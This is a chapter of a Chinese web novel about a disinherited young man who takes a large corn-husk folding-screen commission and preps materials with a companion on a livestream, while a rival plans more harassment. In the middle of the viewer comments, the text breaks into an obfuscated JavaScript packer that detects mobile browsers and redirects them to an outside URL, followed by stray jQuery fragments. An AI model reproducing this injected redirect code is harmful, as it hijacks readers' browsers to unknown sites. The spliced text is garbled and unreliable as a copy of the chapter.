13.品控总监上线了

作品:《豪门弃少靠捡垃圾爆红全网

    许知行没有立刻回复那条私信。


    他先点开“山月清”的主页,翻了十几条动态。新中式家居品牌,在业内有点名气,合作过的手艺人不少,主页上挂着营业执照和品牌授权书。


    不是骗子。


    他回了一句:“可以详谈。”


    对方回复的很快,发来一份详细的需求文档。


    屏风规格:四扇联屏,每扇高一米八,宽六十厘米。材质:天然玉米皮编织。主题:千里江山图,山水意境。工期:三个月。预付定金两万,完成后尾款三万。


    总共五万。


    许知行看完需求,没有立刻答应。


    他走到院子里,蹲在墙角那堆干玉米皮旁边。之前修拖拉机时从村长家顺来的那一批已经用了大半,做灯罩和收纳篮消耗不少。


    四扇大屏风,光玉米皮就需要几百斤。


    而且千里江山图的配色极为复杂。青绿山水,深浅不一的绿色和蓝色,原本白色的玉米皮得染成各种色调。靛蓝要用板蓝根叶子,绿色要用鲜艾草,赭石色要用黄土,黄色要用栀子果。


    山里能找到一部分,但需要时间采集和熬制。


    他蹲在地上,拿了根树枝在泥地上画草图。四扇屏风的结构、比例、色块分布,一点一点算出来。


    蒋承骁从屋里走出来,看见许知行蹲在地上发呆,手边摊着一张画了密密麻麻草图的纸。


    “又在算什么?”


    “一笔大买卖。”许知行把手机递给他。


    蒋承骁接过去,滑了两下,眉头拧起来。


    “五万块?”他看了看需求,又看了看许知行,“你一个人做四扇屏风?三个月?你疯了吧。”


    “我们一起做。”许知行看了他一眼。


    蒋承骁指着自己的鼻子:“你又打我的主意。”


    “你是现成的劳动力,不用白不用。”


    “我是精密加工工程师!我不是你的免费打工人!”


    “加餐,每天加一个肉菜。”


    蒋承骁的嘴角抽了一下。


    许知行补充:“而且你的债务可以用工时抵扣。按照你目前的欠款两千四百块计算,如果你全程参与这个项目,我可以减免百分之五十。”


    “百分之八十。”


    “六十。”


    “七十五,少一个百分点我就罢工。”


    “成交。”


    许知行回复了品牌方,接了单。


    预付定金两万,当天到账。


    许知行看着银行APP上的数字,盯了三秒钟。这是他来到这个村子以来,账户上最大的一笔钱。


    但他没动那笔钱。


    他翻出那个小本子,列了一张清单。


    工具:不同型号的钩针和织针,镇上杂货铺能买到。染料:板蓝根叶子和艾草后山有,黄土更不缺,栀子果得去镇上中药铺买,明矾也要。骨架:屏风内部需要硬木框架支撑,村长家后院有几根放了十年的老杉木。玉米皮:需要大量收购,整个村子家家户户秋收后都有剩的。


    他把清单上的每一项都标了价格和获取方式。能用手艺换的绝不花钱买,必须花钱的精确到分。


    “村长家那几根杉木怎么弄?”蒋承骁凑过来看清单。


    “用修理手艺换。”


    “他肯?”


    “他家抽水泵坏了三个月了,每天挑水浇菜。”


    蒋承骁点了点头:“奸商。”


    “互利互惠。”


    当天下午,许知行带着蒋承骁去了镇上。


    交通工具是村长刚修好的那台拖拉机,村长亲自开,顺便去镇上买化肥。


    蒋承骁坐在拖拉机后斗里,屁股底下垫着一个破麻袋。山路颠的厉害,他的五脏六腑跟着一起跳。蒋承骁一只手死死抓着车帮,另一只手攥着游标卡尺,脸色铁青。


    “慢点!”他朝前面吼。


    村长根本听不见,拖拉机突突突地冒着黑烟往前冲。


    许知行坐在旁边,稳得像块石头,手里还在翻那本手工编织大全。


    “你怎么不颠?”蒋承骁瞪着他。


    “重心放低。”


    “放你——”


    一个大坑颠过去,蒋承骁差点飞出车斗。他来不及骂完,只能咬紧牙关抱住车帮。


    到了镇上,蒋承骁跳下车的时候腿都是软的。


    许知行直奔杂货铺。


    钩针,六个型号,一套十二块。织针,八个型号,一套十五块。砂纸,三包,九块。铁丝,两卷,十四块。


    老板算了算:“五十块整。”


    “四十。”许知行面无表情。


    “大兄弟,这都是进价了。”


    “砂纸你进价两块一包,卖三块,利润百分之五十。铁丝你标七块一卷,五金店卖五块五。”


    老板的笑容僵了。


    “四十二,不能再少了。”


    “四十。送我两根鞋带。”


    “鞋带?你要鞋带干什么?”


    “做手工。”


    老板叹了口气,把鞋带扔进袋子里:“四十,拿走拿走。”


    出了杂货铺,许知行又拐进隔壁的中药铺。


    栀子果,半斤。明矾,一斤。


    中药铺的老太太戴着老花镜,慢悠悠地称好,报价:“栀子果十五,明矾八块,一共二十三。”


    “栀子果这个品相,表皮有裂纹,品相不好。十块。”


    老太太放下秤,看了许知行一眼:“小伙子,你懂中药?”


    “不懂。但我懂品相。”


    最后八块钱拿下了栀子果,明矾没还价。


    蒋承骁全程跟在后面,看着许知行砍价的样子目瞪口呆。


    这人面无表情,语速不快,但每一句话都精准地戳在老板的痛处。


    “你以前是不是干过采购?”蒋承骁问。


    “没有。”


    “那你怎么知道砂纸的进价?”


    “问过三家店。”


    蒋承骁看着他,忽然觉得这个人比他想象的要可怕得多。


    从中药铺出来,经过杂货铺门口的一个鞋摊。


    蒋承骁的脚步慢了下来。


    摊子上摆着一排黑色的胶底布鞋,简单朴素,看着干净。


    蒋承骁站在那看了三秒钟,移开了目光。


    许知行也看到了。


    他走过去,拿起一双翻了翻鞋底,又捏了捏鞋帮。


    “多少钱?”


    “十五。”


    许知行想了想,放下了。


    蒋承骁假装没看见,手插在口袋里往前走,嘴里说:“这种地摊货穿两天就烂。”


    许知行没接话,跟上去了。


    回村的路上,拖拉机经过一片收完的玉米地。地里到处是被丢弃的玉米皮和秸秆,一堆一堆的。


    “停车。”许知行拍了拍驾驶室。


    村长刹住车:“干啥?”


    “捡玉米皮。”


    许知行跳下车,走进地里,弯腰就捡。


    蒋承骁也跳下来。


    “脏死了。”他嘴里骂着,但蹲下来的速度比许知行还快。他两只手一抓一大把,三下五除二就捆了一捆。


    “轻点,别把纤维撕断了。”许知行提醒。


    “你管我怎么捡!”蒋承骁吼了一声,但下一把确实轻了。


    两人捡了二十分钟,装了两大编织袋的玉米皮,塞进拖拉机后斗。


    回到家,天快黑了。


    许知行把买来的东西和捡来的玉米皮搬进屋里,开始做准备工作。


    “过来,教你处理玉米皮。”


    蒋承骁走过来,在桌前坐下。


    许知行拿起一片干玉米皮:“第一步,清水泡软。泡两个小时,时间不能过长,否则纤维会烂。”


    他把泡好的样品拿出来。


    “第二步,刮刀把表面的杂质刮干净。顺着纤维方向刮,不能横着来。”


    他示范了一遍,刮完后的玉米皮干净光滑,颜色均匀。


    “第三步,按颜色深浅分类。白色的用来染色,自然发黄的留着做底色。”


    蒋承骁听完,二话不说拿起游标卡尺。


    “厚度呢?”


    “什么?”


    “每一片的厚度也要统一,不然编出来的表面不平整。”


    许知行看了他一眼,没说话。


    蒋承骁已经开始量了。他把每一片玉米皮的厚度都测了一遍,按零点一毫米的精度分成三档:薄的一堆,中等的一堆,厚的一堆。


    每一堆都码的整整齐齐。


    许知行看着他分好的材料,点了点头。


    “不错。”


    蒋承骁嘴角翘了一下,迅速压下去:“这叫基本功。”


    晚上,许知行架好手机,开了直播。


    标题:接单了——千里江山图玉米皮屏风。


    他对着镜头,语气平淡:“接了个大项目。四扇联屏,千里江山图,纯玉米皮编织。工期三个月。今天开始备料。”


    他展示了采集回来的玉米皮原料,演示了泡发、刮制、分类的全过程。


    直播间人数刷的很快。十分钟破两千,半小时破三千,一个小时后直接突破了五千。


    弹幕刷疯了。


    【千里江山图?用玉米皮?这也太狠了吧!】


    【大神要搞大事情!蹲了蹲了!】


    【三个月啊,这不得天天追更?】


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322401|198618||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    【复合肥小哥呢!他参加这个项目吗!】


    镜头右侧,蒋承骁坐在那里处理材料。口罩戴的严实,只露出两只眼睛和一截眉骨。他面前三堆分好的玉米皮码的整整齐齐,游标卡尺放在手边,砂纸、刮刀一字排开。


    有人在弹幕里问:助理小哥对这个项目有什么看法?


    蒋承骁抬起头,对着镜头,声音低沉。


    “材料的品控由我全权负责。”他指了指面前那三堆分好的玉米皮,“每一片的厚度误差控制在零点一毫米以内,颜色偏差超过两个色号的直接淘汰。任何一片不合格的玉米皮,都不会出现在成品里。”


    他顿了一下。


    “这是我的专业承诺。”


    弹幕炸了。


    【品控总监上线了!】


    【复合肥小哥好像升职了!从苦力变总监了!】


    【零点一毫米……这精度是不是有点过分了。】


    【不过分!细节决定品质!总监说得对!】


    【我已经开始期待成品了,三个月后见!】


    许知行看了一眼后台。关注数:一万两千。


    他关掉直播,揉了揉手腕。


    蒋承骁摘下口罩,喝了口水。


    “五千人同时在线。”蒋承骁的嘴角微微上扬,声音带着一丝炫耀,“是不是因为我那段发言?”


    “是因为项目本身。”


    “放屁。你说话跟念说明书一样,谁爱看?全靠我撑场面。”


    许知行没跟他争,站起来走向厨房。


    “吃饭了。”


    蒋承骁看着他走远的背影,拿起那把游标卡尺,在手指间转了一圈。


    五万块。


    他虽然不记得自己以前是什么人,但有一种直觉告诉他,五万块不算大数目。可对现在的许知行来说,这笔钱意味着房子能修好,冬天能过得暖和,不用再为一顿饭绞尽脑汁。


    蒋承骁低头看了看自己脚上那双快磨穿底的草鞋,又想起今天在镇上那双十五块的布鞋。


    许知行看了,没买。


    蒋承骁知道为什么。两万块的定金,许知行一分都不敢乱花。那些钱全都得用在项目上,买材料,买工具,一分一毫算的清清楚楚。


    连十五块钱的鞋都舍不得。


    蒋承骁把卡尺往桌上一放,走进厨房。


    “今晚吃什么?”


    “笋片炒肉。”


    “行。”蒋承骁蹲到灶前添柴,“火大一点还是小一点?”


    “先大后小。”


    “知道了。”


    灶膛里的火光映在蒋承骁的脸上,明明灭灭。


    他盯着那些跳动的火苗,忽然开口。


    “许知行。”


    “嗯。”


    “这个项目做完,你打算用那笔钱干什么?”


    许知行翻着锅里的肉片:“修屋顶,补院墙,换门窗。再买一床被子。”


    蒋承骁的手顿了一下。


    再买一床被子。


    他想起自己连续两个晚上把被子卷走,许知行裹着那条破床单缩在藤椅上冻了一夜的事。


    他没说话,往灶膛里添了两根柴。


    火更旺了。


    ……


    城里。


    刘姐坐在许文杰的书房里,翘着二郎腿,嗑着瓜子,添油加醋地讲着被蒋承骁赶走的经过。


    “那个男的凶得很!一米九的大个子,眼神跟要杀人似的!拿着个什么铁棍子对着我,说什么侵犯隐私权、住宅安宁权,还逼我删照片!”她拍了拍胸口,“文杰少爷,那种人不像正经人,说不定是逃犯。”


    许文杰坐在真皮沙发上,没接话。


    他手里拿着手机,正在翻许知行的直播回放。


    画面里,许知行坐在一张修补过的八仙桌前,手里的玉米皮飞快翻转。旁边的角落里,一个戴着口罩的高大男人正拿着游标卡尺处理材料,动作利索又专业。


    弹幕铺天盖地的刷过去。


    粉丝数:一万两千。


    直播间在线峰值:五千人。


    许文杰往下翻了翻,看到了那条品牌合作的消息,还有今天直播里许知行宣布接到“千里江山图”大单时粉丝们的狂欢。


    他又想起之前花了两千块让村里的混混去许知行家泼油漆。结果呢?那些漆被许知行刮下来做了竹编的染料。


    两千块,给他做了嫁衣。


    许文杰把手机放下,脸上的笑容消失了。


    他拿起桌上的座机,拨了一个号码。


    响了三声,接通了。


    “赵哥,上次那事没办利索。”许文杰靠进沙发里,声音不大,但很冷,“这次加钱。我要让他在那个破村子里待不下去。”